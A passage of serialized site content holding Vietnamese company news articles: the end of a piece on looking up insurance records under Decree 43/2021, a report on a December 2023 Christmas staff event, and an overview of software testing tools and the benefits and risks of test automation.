nơi đăng ký khám chữa bệnh ban đầu; thời điểm hết hạn; thời điểm đủ 05 năm liên tục; quá trình đóng, hưởng;",[34,5993,5994],{},"Về BHXH: mã số BHXH; mã đơn vị quản lý người tham gia; cơ quan BHXH quản lý, phương thức đóng; quá trình đóng; hưởng BHXH; bảo hiểm tai nạn lao động, bệnh nghề nghiệp… và nhiều thông tin khác của mình trên CSDLQG về Bảo hiểm.",[34,5996,5997],{},"Về BHTN: quá trình đóng, hưởng; thời gian đóng bảo hiểm thất nghiệp được bảo lưu làm căn cứ để tính thời gian hưởng bảo hiểm trợ cấp thất nghiệp.",[11,5999,6000],{},"Cá nhân được phép:",[31,6002,6003,6006],{},[34,6004,6005],{},"Khai thác và sử dụng thông tin trong CSDLQG về Bảo hiểm;",[34,6007,6008],{},"Trích xuất thông tin của mình, dữ liệu trích xuất được ký số bởi Bảo hiểm xã hội Việt Nam và có giá trị như văn bản xác nhận của cơ quan có thẩm quyền.",[11,6010,6011],{},"Như vậy, ngoài các cách tra cứu quá trình tham gia BHXH, BHYT, BHTN đang áp dụng hiện nay như:",[31,6013,6014,6017,6020],{},[34,6015,6016],{},"Qua website của Bảo hiểm xã hội Việt Nam;",[34,6018,6019],{},"Qua việc gửi SMS đến đầu số 8079;",[34,6021,6022],{},"Qua Ứng dụng VssID.",[11,6024,6025],{},"Sắp tới, người tham gia bảo hiểm còn có thêm một cách khác nữa đó là tra cứu thông qua Cơ sở dữ liệu quốc gia về Bảo hiểm.",[11,6027,6028],{},[1277,6029,55],{},[11,6031,6032],{},[58,6033,6036],{"href":6034,"rel":6035},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-43-2021-ND-CP-Co-so-du-lieu-quoc-gia-ve-Bao-hiem-451609.aspx",[62],"Nghị định 43\u002F2021\u002FNĐ-CP",[11,6038,6039],{},[58,6040,6043],{"href":6041,"rel":6042},"https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so\u002F",[62],"Hướng dẫn đăng ký mở tài khoản giao dịch điện tử với VssID - Bảo hiểm xã hội số tại đây",{"title":66,"searchDepth":67,"depth":67,"links":6045},[],"2021-07-30","Chính phủ đã ban hành Nghị định 43\u002F2021\u002FNĐ-CP quy định Cơ sở dữ liệu quốc gia (CSDLQG) về Bảo hiểm. Nghị định này có hiệu lực từ ngày 01\u002F06\u002F2021. Cơ sở dữ liệu này có nhiều thông tin liên quan đến Bảo hiểm xã hội (BHXH), Bảo hiểm y tế (BHYT) và Bảo hiểm thất nghiệp (BHTN) của người tham gia cụ thể như sau",{},"\u002Fvi\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021",{"title":5978,"description":6047},"vi\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18102129\u002FChinhSachMoiThang62021.png","GkC0-bnhfaAPjMcvW8T4UWXfHtwvSpibs_EZlq2B5BQ",{"id":6055,"title":6056,"body":6057,"category":2902,"created by":6140,"date":6141,"description":6061,"extension":72,"meta":6142,"navigation":74,"path":6143,"sections":76,"seo":6144,"stem":6145,"thumbnail":6146,"__hash__":6147},"content_vi\u002Fvi\u002Fnews\u002Fcompany-event-thang-12-2023.md","Company Event tháng 12\u002F2023",{"type":8,"value":6058,"toc":6138},[6059,6062,6065,6069,6072,6075,6078,6082,6085,6088,6091,6095,6098,6102,6105,6108,6116,6124,6127,6135],[11,6060,6061],{},"Mùa lễ hội Giáng Sinh cuối năm đã đến với bao điều kỳ diệu của không gian rực rỡ và sôi động tràn ngập khắp nơi. Và để tận hưởng trọn vẹn không khí hân hoan ấy, Công ty Briswell Vietnam vừa tổ chức một sự kiện Giáng Sinh đặc biệt dành cho tất cả nhân viên cùng tham gia, cùng nhau hòa mình vào không gian náo nhiệt của mùa lễ hội.",[11,6063,6064],{},"Không gian của buổi event được trang trí lung linh, ấm áp và rực rỡ sắc đỏ của Giáng Sinh, cùng những hình ảnh quen thuộc như ông già Noel, cây thông Noel,...",[533,6066],{"className":6067,"alt":66,"src":6068,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F12\u002F02105702\u002FChristmas-tree-Edited-Edited-Edited-e1704174850223.jpg",[11,6070,6071],{},"Tất cả tạo nên một khung cảnh vô cùng ấm cúng và tràn ngập sắc màu. Mọi người đều háo hức và vui mừng chờ đợi buổi event bắt đầu.",[11,6073,6074],{},"Buổi event diễn ra với nhiều trò chơi hấp dẫn, mang đến cho mọi người những phút giây thư giãn, vui vẻ.  ",[11,6076,6077],{},"Trò chơi đầu tiên, \"Thử tài âm nhạc Giáng Sinh\", đã nhanh chóng trở thành điểm nhấn của sự kiện. Với cách chơi đơn giản nhưng vô cùng hấp dẫn, trò chơi đã thu hút sự tham gia của tất cả mọi người. Tất cả nhân viên được chia thành 4 đội, mỗi đội sẽ có 5 thành viên. Khi nhạc bắt đầu vang lên, các đội sẽ phải cố gắng đoán tên bài hát đó. Đội nào đoán đúng nhiều bài hát nhất sẽ giành chiến thắng.",[533,6079],{"className":6080,"alt":66,"src":6081,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110238\u002FIMG_9557-1024x768.jpg",[11,6083,6084],{},"Trò chơi diễn ra vô cùng sôi nổi và hào hứng. Các đội thi đấu hết mình, thể hiện sự đoàn kết, sự nhanh nhẹn và trí nhớ về kho tàng âm nhạc của mình. Cuối cùng, sau những phút giây thi đấu căng thẳng, một đội đã vươn lên với chiến thắng, đem về phần quà đầy hấp dẫn.",[11,6086,6087],{},"Đặc biệt, trong trò chơi này, các bài hát đều là những bài hát Giáng sinh quen thuộc. Điều này khiến cho không khí của sự kiện càng thêm sôi động và náo nhiệt.",[11,6089,6090],{},"Trò chơi thứ hai, “Cuộc Phiêu Lưu Hải Tặc”, một trò chơi đầy kích thích và thú vị. Trong mỗi vòng chơi, từng thành viên của mỗi đội sẽ sử dụng thanh gươm đồ chơi để găm vào quả cầu hải tặc. Đội nào khiến hình người hải tặc bật lên cao sẽ là đội thua vòng chơi. Sau 3 vòng căng thẳng, đội có sự may mắn nhất, không để hình người hải tặc bật lên bất kỳ lần nào, đã vượt qua mọi thử thách và giành chiến thắng. Điều này đã giúp họ nhận được phần thưởng đặc biệt từ ban tổ chức.",[533,6092],{"className":6093,"alt":66,"src":6094,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110654\u002Fz5014809043946_6aad3c2aac1f0c513fd27a416100c151.jpg",[11,6096,6097],{},"Trò chơi không chỉ mang lại sự hào hứng và căng thẳng mà còn tạo ra những phút giây giao lưu, kích thích tinh thần thi đấu, và tạo nên những kỷ niệm đáng nhớ cho mọi người tham gia.",[533,6099],{"className":6100,"alt":66,"src":6101,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110827\u002Ffood-1-768x827.jpg",[11,6103,6104],{},"Không gian văn phòng nhộn nhịp, tiếng cười vang lên từng góc, mỗi người đều hào hứng tham gia và tạo nên không khí vui tươi, sôi động cho buổi event này. Niềm vui không chỉ đến từ việc chiến thắng mà còn từ sự gắn kết, sự hòa mình vào không gian chung của một đại gia đình.",[11,6106,6107],{},"Bên cạnh các trò chơi hấp dẫn, buổi event còn được chuẩn bị rất nhiều đồ ăn nhẹ và nước uống. ",[11,6109,6110,6114],{},[533,6111],{"className":6112,"alt":66,"src":6113,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111028\u002FIMG_9550-1024x768.jpg",[570,6115],{},[11,6117,6118,6122],{},[533,6119],{"className":6120,"alt":66,"src":6121,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110938\u002FIMG_9547-768x1024.jpg",[570,6123],{},[11,6125,6126],{},"Mọi người đã cùng nhau thưởng thức những món ăn ngon và trò chuyện vui vẻ.",[11,6128,6129,6133],{},[533,6130],{"className":6131,"alt":66,"src":6132,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111012\u002FIMG_9552-1024x768.jpg",[570,6134],{},[11,6136,6137],{},"Đây không chỉ là một sự kiện đơn thuần, mà còn là một cơ hội tuyệt vời để cùng nhau tận hưởng không khí tuyệt vời của Giáng Sinh và là một dịp quý báu đem lại sự gắn kết mạnh mẽ giữa tất cả nhân viên, tạo nên những kỷ niệm đáng nhớ.",{"title":66,"searchDepth":67,"depth":67,"links":6139},[],"THANH PHAM NGOC GIANG","2024-01-05",{},"\u002Fvi\u002Fnews\u002Fcompany-event-thang-12-2023",{"title":6056,"description":6061},"vi\u002Fnews\u002Fcompany-event-thang-12-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02143531\u002FMerry-Christmas-Card-1.png","ZJWp29VUnUta4DZTRf-93VYtvBtAJ7coWxX2MIjJ1dM",{"id":6149,"title":6150,"body":6151,"category":356,"created by":70,"date":6514,"description":6155,"extension":72,"meta":6515,"navigation":74,"path":6516,"sections":76,"seo":6517,"stem":6518,"thumbnail":6519,"__hash__":6520},"content_vi\u002Fvi\u002Fnews\u002Fcong-cu-kiem-thu.md","CÔNG CỤ KIỂM THỬ",{"type":8,"value":6152,"toc":6512},[6153,6156,6161,6164,6169,6180,6185,6193,6198,6206,6209,6214,6217,6228,6231,6239,6244,6247,6255,6258,6266,6269,6274,6277,6285,6287,6295,6298,6303,6306,6314,6316,6324,6327,6332,6335,6343,6345,6353,6356,6361,6364,6398,6401,6404,6409,6426,6431,6436,6439,6444,6447,6452,6455,6461,6464,6470,6473,6479,6482,6485,6499,6502,6506],[11,6154,6155],{},"Trong phát triển phần mềm, kiểm thử là một quy trình quan trọng để đảm bảo chất lượng. Và để thực hiện kiểm thử một cách hiệu quả và năng suất, việc sử dụng các công cụ kiểm thử phù hợp là không thể thiếu. Bài viết này sẽ giải thích chi tiết các yếu tố cần xem xét về công cụ kiểm thử từ phân loại công cụ cho đến các công cụ chuyên dụng cho những mục đích cụ thể trên nhiều khía cạnh khác nhau.",[11,6157,6158],{},[20,6159,6160],{},"Phân loại công cụ kiểm thử",[11,6162,6163],{},"Khi lựa chọn công cụ kiểm thử, việc hiểu rõ mục đích và đặc điểm của chúng là rất quan trọng. Dưới đây là các tiêu chí phân loại chính của công cụ kiểm thử:",[11,6165,6166],{},[20,6167,6168],{},"Mục đích triển khai công cụ kiểm thử",[31,6170,6171,6174,6177],{},[34,6172,6173],{},"Nâng cao hiệu quả: Công cụ kiểm thử giúp tiết kiệm thời gian và tài nguyên. Ví dụ, tự động hóa kiểm thử hồi quy có thể giảm đáng kể gánh nặng công việc lặp đi lặp lại.",[34,6175,6176],{},"Cải thiện chất lượng kiểm thử: Những lỗi nhỏ mà kiểm thử thủ công có thể bỏ sót sẽ được phát hiện khi sử dụng công cụ kiểm thử.",[34,6178,6179],{},"Đảm bảo tính nhất quán: Áp dụng quy trình kiểm thử tiêu chuẩn hóa giúp giảm thiểu sự biến động về chất lượng.",[11,6181,6182],{},[20,6183,6184],{},"Mô hình cấp phép",[31,6186,6187,6190],{},[34,6188,6189],{},"Công cụ mã nguồn mở: Là các công cụ miễn phí với khả năng mở rộng cao và hỗ trợ phong phú từ cộng đồng. Ví dụ: Selenium, JMeter.",[34,6191,6192],{},"Công cụ thương mại: Yêu cầu chi phí bản quyền nhưng cung cấp các tính năng nâng cao và hỗ trợ chuyên dụng. Ví dụ: TestRail, LoadRunner.",[11,6194,6195],{},[20,6196,6197],{},"Công nghệ được sử dụng",[31,6199,6200,6203],{},[34,6201,6202],{},"Công cụ kiểm thử dựa trên giao diện người dùng (UI): Hỗ trợ kiểm thử dựa trên màn hình ứng dụng. Ví dụ: Katalon Studio, Ranorex.",[34,6204,6205],{},"Công cụ kiểm thử dựa trên API hoặc giao thức: Phù hợp để kiểm tra hoạt động của backend và kiểm thử tích hợp dịch vụ. Đại diện: Postman, SoapUI.",[11,6207,6208],{},"Hơn nữa, một số công cụ có thể ảnh hưởng trực tiếp đến kết quả thực thi kiểm thử, vì vậy cần được đánh giá một cách cẩn thận. Các công cụ kiểm thử hiệu năng thường tiêu thụ tài nguyên hệ thống, dẫn đến khả năng xuất hiện sai số trong kết quả đo lường. Vì lý do này, việc nắm rõ sự khác biệt giữa môi trường kiểm thử và môi trường sản xuất là rất quan trọng.",[11,6210,6211],{},[20,6212,6213],{},"Công cụ hỗ trợ quản lý kiểm thử và kiểm thử phần mềm",[11,6215,6216],{},"Công cụ quản lý kiểm thử giúp lập kế hoạch, giám sát và kiểm soát toàn bộ quy trình kiểm thử. Việc sử dụng các công cụ này có thể kỳ vọng cải thiện quản lý tiến độ dự án và nâng cao chất lượng. Các chức năng chính bao gồm:",[31,6218,6219,6222,6225],{},[34,6220,6221],{},"Quản lý test case: Hỗ trợ tạo, chỉnh sửa, và quản lý phiên bản của các test case, từ đó giảm thiểu công việc trùng lặp và đảm bảo tính nhất quán trong toàn đội ngũ.",[34,6223,6224],{},"Quản lý tài nguyên: Đơn giản hóa việc phân công người kiểm thử và môi trường kiểm thử, thúc đẩy việc sử dụng tài nguyên một cách tối ưu.",[34,6226,6227],{},"Hiển thị tiến độ: Cung cấp khả năng kiểm tra tiến độ theo thời gian thực thông qua báo cáo và bảng điều khiển. Điều này giúp báo cáo nhanh chóng đến các bên liên quan.",[11,6229,6230],{},"Các công cụ tiêu biểu bao gồm:",[31,6232,6233,6236],{},[34,6234,6235],{},"TestRail: Hỗ trợ theo dõi kế hoạch và thực thi kiểm thử với giao diện trực quan.",[34,6237,6238],{},"Zephyr: Tích hợp với Jira, phù hợp cho các dự án Agile.",[11,6240,6241],{},[20,6242,6243],{},"Công cụ hỗ trợ kiểm thử tĩnh",[11,6245,6246],{},"Kiểm thử tĩnh là phương pháp kiểm thử phân tích mã nguồn hoặc tài liệu đặc tả mà không cần chạy phần mềm. Các công cụ hỗ trợ quy trình này giúp thực hiện các nhiệm vụ sau:",[31,6248,6249,6252],{},[34,6250,6251],{},"Tự động hóa kiểm tra mã nguồn: Sử dụng công cụ phân tích tĩnh để nhanh chóng phát hiện các lỗi tiềm ẩn hoặc vi phạm quy tắc. Điều này cho phép sửa lỗi từ giai đoạn đầu, góp phần giảm chi phí.",[34,6253,6254],{},"Cung cấp chỉ số chất lượng: Đo lường các chỉ số như tỷ lệ bao phủ mã nguồn (code coverage) hoặc độ phức tạp của mã, làm rõ các điểm cần cải thiện.",[11,6256,6257],{},"Các công cụ tiêu biểu:",[31,6259,6260,6263],{},[34,6261,6262],{},"SonarQube: Hỗ trợ nhiều ngôn ngữ lập trình và cung cấp báo cáo chi tiết.",[34,6264,6265],{},"Checkstyle: Tự động kiểm tra phong cách mã nguồn Java.",[11,6267,6268],{},"Việc sử dụng các công cụ này một cách phù hợp có thể ngăn chặn lỗi phát sinh từ sớm, đồng thời nâng cao độ tin cậy của dự án.",[11,6270,6271],{},[20,6272,6273],{},"Công cụ hỗ trợ thiết kế và triển khai kiểm thử",[11,6275,6276],{},"Trong giai đoạn thiết kế và triển khai kiểm thử, việc tạo test case hiệu quả là yếu tố quan trọng. Các công cụ hỗ trợ quy trình này có các đặc điểm sau:",[31,6278,6279,6282],{},[34,6280,6281],{},"Tạo dữ liệu kiểm thử: Cung cấp tính năng tự động tạo dữ liệu ngẫu nhiên hoặc giá trị biên, giúp rút ngắn thời gian chuẩn bị dữ liệu. Ví dụ, trong ứng dụng tài chính, có thể tự động tạo các tổ hợp tiền tệ và số tiền khác nhau.",[34,6283,6284],{},"Tự động tạo test case: Đề xuất kịch bản kiểm thử phù hợp dựa trên tài liệu yêu cầu hoặc mô hình.",[11,6286,6257],{},[31,6288,6289,6292],{},[34,6290,6291],{},"TestCase Studio: Đơn giản hóa việc tạo test case với giao diện trực quan.",[34,6293,6294],{},"Parasoft: Tối ưu hóa thiết kế kiểm thử với cách tiếp cận dựa trên mô hình.",[11,6296,6297],{},"Bằng cách kết hợp các ví dụ sử dụng cụ thể, bạn có thể tận dụng tối đa tính tiện lợi của các công cụ này.",[11,6299,6300],{},[20,6301,6302],{},"Công cụ hỗ trợ thực thi kiểm thử và ghi nhận kết quả",[11,6304,6305],{},"Công cụ thực thi kiểm thử được sử dụng để tự động hóa và tối ưu hóa quy trình kiểm thử. Thông thường, các công cụ này cũng đi kèm chức năng ghi nhận kết quả.",[31,6307,6308,6311],{},[34,6309,6310],{},"Thực thi kiểm thử tự động: Tự động hóa kiểm thử hồi quy hoặc kiểm thử lặp giúp giảm đáng kể thời gian làm việc. Ví dụ, tự động hóa kiểm thử build hàng ngày cho phép nhóm phát triển tập trung vào các nhiệm vụ quan trọng khác.",[34,6312,6313],{},"Ghi nhận và báo cáo kết quả: Tạo log kết quả kiểm thử và trực quan hóa giúp đẩy nhanh việc xác định lỗi. Báo cáo thường được cung cấp dưới dạng PDF hoặc trên bảng điều khiển (dashboard).",[11,6315,6257],{},[31,6317,6318,6321],{},[34,6319,6320],{},"Selenium: Tối ưu cho kiểm thử đa trình duyệt với khả năng tùy chỉnh phong phú.",[34,6322,6323],{},"Appium: Hỗ trợ kiểm thử ứng dụng di động.",[11,6325,6326],{},"Việc sử dụng các công cụ này có thể mang lại hiệu quả cao hơn và cải thiện độ chính xác trong quy trình kiểm thử.",[11,6328,6329],{},[20,6330,6331],{},"Công cụ hỗ trợ đo lường hiệu năng và phân tích động",[11,6333,6334],{},"Các công cụ hỗ trợ kiểm thử hiệu năng và phân tích động được sử dụng để đo lường hoạt động và hiệu suất của hệ thống.",[31,6336,6337,6340],{},[34,6338,6339],{},"Kiểm thử tải (Load testing): Đo lường thời gian phản hồi và thông lượng (throughput) trong môi trường tải cao, giúp xác định giới hạn của hệ thống. Ví dụ, mô phỏng lưu lượng truy cập dự kiến trong các đợt giảm giá trên trang web.",[34,6341,6342],{},"Phân tích hồ sơ (Profiling): Phân tích mức sử dụng CPU và tiêu thụ bộ nhớ của ứng dụng để xác định các điểm nghẽn (bottlenecks).",[11,6344,6257],{},[31,6346,6347,6350],{},[34,6348,6349],{},"JMeter: Được sử dụng rộng rãi như một công cụ tiêu chuẩn cho kiểm thử tải.",[34,6351,6352],{},"Dynatrace: Cung cấp giám sát và phân tích hiệu năng theo thời gian thực.",[11,6354,6355],{},"Sử dụng các công cụ này có thể nâng cao khả năng mở rộng (scalability) và độ tin cậy (reliability) của hệ thống.",[11,6357,6358],{},[20,6359,6360],{},"Công cụ hỗ trợ kiểm thử cho các mục đích cụ thể",[11,6362,6363],{},"Các công cụ chuyên biệt được thiết kế để đáp ứng các yêu cầu đặc thù.",[31,6365,6366,6369,6372,6375,6378,6381,6384,6387],{},[34,6367,6368],{},"Đánh giá chất lượng dữ liệu: Công cụ đánh giá chất lượng dữ liệu được sử dụng để phân tích độ chính xác, tính nhất quán và đầy đủ của dữ liệu. Các công cụ này quét cơ sở dữ liệu hoặc tập dữ liệu để phát hiện dữ liệu thiếu hoặc không đồng nhất. Ví dụ, các công cụ như Talend và Informatica có chức năng tạo hồ sơ dữ liệu, phân tích xu hướng và phân phối dữ liệu nhằm ngăn chặn sự suy giảm chất lượng dữ liệu.",[34,6370,6371],{},"Chuyển đổi và di chuyển dữ liệu: Các công cụ này hỗ trợ chuyển đổi giữa các định dạng dữ liệu khác nhau và di chuyển dữ liệu giữa các hệ thống. Với chức năng ánh xạ dữ liệu, chúng tự động hóa toàn bộ quy trình di chuyển. Các công cụ ETL (Extract, Transform, Load) tiêu biểu bao gồm Apache Nifi và AWS Glue.",[34,6373,6374],{},"Kiểm thử khả dụng (Usability Testing): Đây là quy trình quan trọng để cải thiện trải nghiệm người dùng (UX). Các công cụ kiểm thử khả dụng theo dõi hành vi của người dùng và xác định các điểm cần cải thiện trong thiết kế giao diện người dùng (UI). Ví dụ, Hotjar và Crazy Egg cung cấp bản đồ nhiệt nhấp chuột (click heatmaps) và phân tích cuộn trang, giúp hiển thị rõ ràng hành vi của người dùng.",[34,6376,6377],{},"Kiểm thử khả năng truy cập (Accessibility Testing): Các công cụ kiểm thử khả năng truy cập kiểm tra xem website hoặc ứng dụng có tuân thủ WCAG (Web Content Accessibility Guidelines) hay không. Ví dụ:",[34,6379,6380],{},"Axe: Tiện ích mở rộng của Chrome, giúp nhanh chóng chẩn đoán các vấn đề truy cập trên trang web và đưa ra giải pháp thực tế.",[34,6382,6383],{},"WAVE: Công cụ trực tuyến giúp kiểm tra website và tạo báo cáo trực quan. Các công cụ này rất phù hợp để đảm bảo khả năng truy cập khi phát triển mới hoặc cải tiến trang web hiện có.",[34,6385,6386],{},"Kiểm thử bản địa hóa (Localization Testing): Công cụ kiểm thử bản địa hóa xác minh tính tương thích về mặt ngôn ngữ và văn hóa. Chúng kiểm tra độ chính xác của bản dịch và sự phù hợp của UI. Ví dụ: SDL Trados và memoQ tận dụng bộ nhớ dịch thuật để đảm bảo tính nhất quán trong bản địa hóa.",[34,6388,6389,6390],{},"Kiểm thử bảo mật (Security Testing): Kiểm thử bảo mật giúp xác định lỗ hổng và bảo vệ ứng dụng khỏi các cuộc tấn công độc hại. Ví dụ:",[31,6391,6392,6395],{},[34,6393,6394],{},"OWASP ZAP: Sử dụng proxy để chẩn đoán động các lỗ hổng của ứng dụng web.",[34,6396,6397],{},"Burp Suite: Cung cấp khả năng quét nâng cao và tạo kịch bản tấn công tùy chỉnh, phù hợp với các chuyên gia bảo mật. Đối với các dự án nhỏ, OWASP ZAP là lựa chọn tiết kiệm chi phí, trong khi các dự án lớn hoặc có yêu cầu phức tạp nên sử dụng Burp Suite.",[11,6399,6400],{},"Tóm lại, khi lựa chọn công cụ kiểm thử, cần xem xét các yêu cầu của dự án, ngân sách và kỹ năng của đội ngũ. Bên cạnh việc triển khai công cụ, việc vận hành và bảo trì cũng rất quan trọng. Việc sử dụng đúng công cụ kiểm thử sẽ cải thiện hiệu quả và chất lượng của toàn bộ quy trình phát triển phần mềm. Khi chọn công cụ, hãy có tầm nhìn dài hạn và đầu tư hợp lý để đảm bảo thành công cho dự án.",[11,6402,6403],{},"Tự động hóa kiểm thử là một phương pháp quan trọng nhằm nâng cao hiệu suất và chất lượng trong các dự án phát triển phần mềm. Tuy nhiên, khi triển khai tự động hóa, cần hiểu rõ không chỉ về lợi ích mà còn về các rủi ro tiềm ẩn. Dưới đây là phân tích chi tiết về các lợi ích chính và rủi ro của tự động hóa kiểm thử.",[11,6405,6406],{},[20,6407,6408],{},"Lợi ích của tự động hóa kiểm thử",[201,6410,6411,6414,6417,6420,6423],{},[34,6412,6413],{},"Tiết kiệm thời gian và chi phí: Tự động hóa cho phép thực hiện nhanh chóng và hiệu quả các bài kiểm thử lặp lại (ví dụ: kiểm thử hồi quy, kiểm thử smoke lặp đi lặp lại). Nhờ đó, tiết kiệm được nhiều thời gian và chi phí nhân lực vốn cần cho kiểm thử thủ công. Ví dụ, trong môi trường tích hợp liên tục (CI), có thể tự động chạy hàng ngàn bài kiểm thử sau mỗi lần build hàng ngày.",[34,6415,6416],{},"Đảm bảo quy trình kiểm thử nhất quán: Kiểm thử thủ công có thể xuất hiện sự không đồng đều do tác động của người kiểm thử, nhưng với tự động hóa, các kịch bản kiểm thử được thực thi lặp lại bằng cùng một mã lệnh, đảm bảo sự nhất quán. Nhờ đó, việc so sánh kết quả kiểm thử trong các môi trường hoặc thời điểm khác nhau trở nên dễ dàng hơn.",[34,6418,6419],{},"Tăng tốc độ và khả năng mở rộng: Tự động hóa kiểm thử cung cấp khả năng mở rộng phù hợp với các dự án lớn hoặc yêu cầu phát hành thường xuyên. Ví dụ, với môi trường kiểm thử phân tán, có thể chạy đồng thời kiểm thử trên hàng trăm máy tính, rút ngắn chu kỳ phát triển.",[34,6421,6422],{},"Khả năng tái sử dụng kiểm thử: Các kịch bản kiểm thử tự động sau khi được xây dựng có thể tái sử dụng nhiều lần. Điều này giúp đẩy nhanh việc kiểm thử sau khi bổ sung tính năng mới hoặc xác nhận lại lỗi đã sửa. Ngoài ra, việc đóng gói kịch bản kiểm thử thành thư viện còn cho phép sử dụng chúng ở các dự án khác.",[34,6424,6425],{},"Phát hiện sớm lỗi: Tự động hóa kiểm thử cũng là công cụ hiệu quả để phát hiện lỗi ngay từ giai đoạn đầu của phát triển. Ví dụ, tự động hóa kiểm thử đơn vị (unit test) có thể giúp phát hiện sớm những tác động của việc thay đổi mã nguồn lên mã hiện có. Điều này không chỉ giảm chi phí sửa lỗi mà còn cải thiện chất lượng tổng thể của dự án phát triển.",[11,6427,6428],{},[20,6429,6430],{},"Những rủi ro của tự động hóa kiểm thử",[201,6432,6433],{},[34,6434,6435],{},"Chi phí ban đầu và mức độ khó khi triển khai: ",[11,6437,6438],{},"Tự động hóa đòi hỏi phải đầu tư ban đầu cho việc mua công cụ và tạo script. Ví dụ, chi phí bản quyền của các công cụ thương mại có thể rất cao, hoặc cần đến kỹ sư giàu kinh nghiệm để viết script. Ngoài ra, nếu thiết kế script tự động hóa không phù hợp, khả năng bảo trì sẽ thấp, dẫn đến rủi ro trong quá trình vận hành.",[201,6440,6441],{"start":67},[34,6442,6443],{},"Gánh nặng bảo trì script kiểm thử: ",[11,6445,6446],{},"Script tự động hóa phải được cập nhật để theo kịp các thay đổi trong phần mềm. Đặc biệt, đối với những dự án có nhiều thay đổi về yêu cầu, chi phí bảo trì sẽ tăng cao. Ví dụ, khi thiết kế giao diện người dùng (UI) thay đổi, toàn bộ script liên quan có thể cần sửa đổi, gây ra áp lực đáng kể trong việc bảo trì.",[201,6448,6449],{"start":1417},[34,6450,6451],{},"Tự động hóa quá mức ở giai đoạn đầu: ",[11,6453,6454],{},"Không phải tất cả các bài kiểm thử đều nên tự động hóa, mà cần xác định phạm vi phù hợp. Ví dụ, các bài kiểm thử tạm thời hoặc kiểm thử ngẫu hứng thường hiệu quả hơn khi thực hiện thủ công. Nếu tự động hóa không cần thiết, nó sẽ gây lãng phí tài nguyên và thời gian, làm giảm hiệu quả tổng thể.",[201,6456,6458],{"start":6457},4,[34,6459,6460],{},"Phạm vi bao phủ hạn chế: ",[11,6462,6463],{},"Script tự động hóa chỉ thực hiện các kịch bản đã được thiết kế trước, nên khó phát hiện các vấn đề không được dự đoán. Điều này dẫn đến rủi ro khi tự động hóa không thể thay thế hoàn toàn kiểm thử sáng tạo (exploratory testing) do con người thực hiện.",[201,6465,6467],{"start":6466},5,[34,6468,6469],{},"Phụ thuộc vào công cụ: ",[11,6471,6472],{},"Sự phụ thuộc quá mức vào một công cụ kiểm thử cụ thể có thể trở thành rủi ro nếu công cụ đó ngừng hỗ trợ hoặc không thích nghi được với công nghệ mới. Ví dụ, một công cụ kiểm thử không tương thích với phiên bản mới của trình duyệt hoặc nền tảng sẽ khiến dự án gặp khó khăn trong việc duy trì chất lượng kiểm thử.",[201,6474,6476],{"start":6475},6,[34,6477,6478],{},"Sự phức tạp trong cài đặt và quản lý môi trường kiểm thử:",[11,6480,6481],{},"Môi trường kiểm thử cần được thiết lập chính xác, nhưng sự không đồng nhất hoặc các vấn đề liên quan đến phụ thuộc có thể gây rủi ro lớn. Ví dụ, trong môi trường đám mây, độ trễ mạng có thể ảnh hưởng trực tiếp đến kết quả kiểm thử, làm giảm độ tin cậy của quá trình tự động hóa.",[11,6483,6484],{},"Các điểm mấu chốt để thành công trong việc tự động hóa kiểm thử:",[31,6486,6487,6490,6493,6496],{},[34,6488,6489],{},"Lựa chọn công cụ phù hợp: Việc chọn lựa công cụ phù hợp với yêu cầu và nguồn lực của dự án là rất quan trọng. Trong một số trường hợp, việc sử dụng công cụ mã nguồn mở có thể giúp giảm chi phí, trong khi sử dụng công cụ thương mại lại mang đến sự hỗ trợ kỹ thuật cao cấp.",[34,6491,6492],{},"Tạo script theo mô-đun: Việc thiết kế các script kiểm thử dưới dạng mô-đun tái sử dụng sẽ giúp giảm gánh nặng bảo trì và tăng tính linh hoạt trong quá trình sử dụng.",[34,6494,6495],{},"Kết hợp tự động hóa và kiểm thử thủ công: Cần xác định rõ các lĩnh vực mà tự động hóa mang lại hiệu quả cao, đồng thời kết hợp một cách hợp lý với kiểm thử thủ công để bổ sung và tăng cường hiệu quả kiểm thử.",[34,6497,6498],{},"Nâng cao kỹ năng cho toàn đội ngũ: Chia sẻ và trang bị kỹ năng cần thiết để tạo và quản lý script tự động hóa trong toàn bộ đội ngũ giúp giảm thiểu rủi ro và đảm bảo chất lượng kiểm thử.",[11,6500,6501],{},"Tự động hóa kiểm thử đóng góp đáng kể vào việc cải thiện chất lượng phần mềm và tối ưu hóa quy trình, nhưng để thành công, cần hiểu rõ các rủi ro liên quan và có các biện pháp xử lý thích 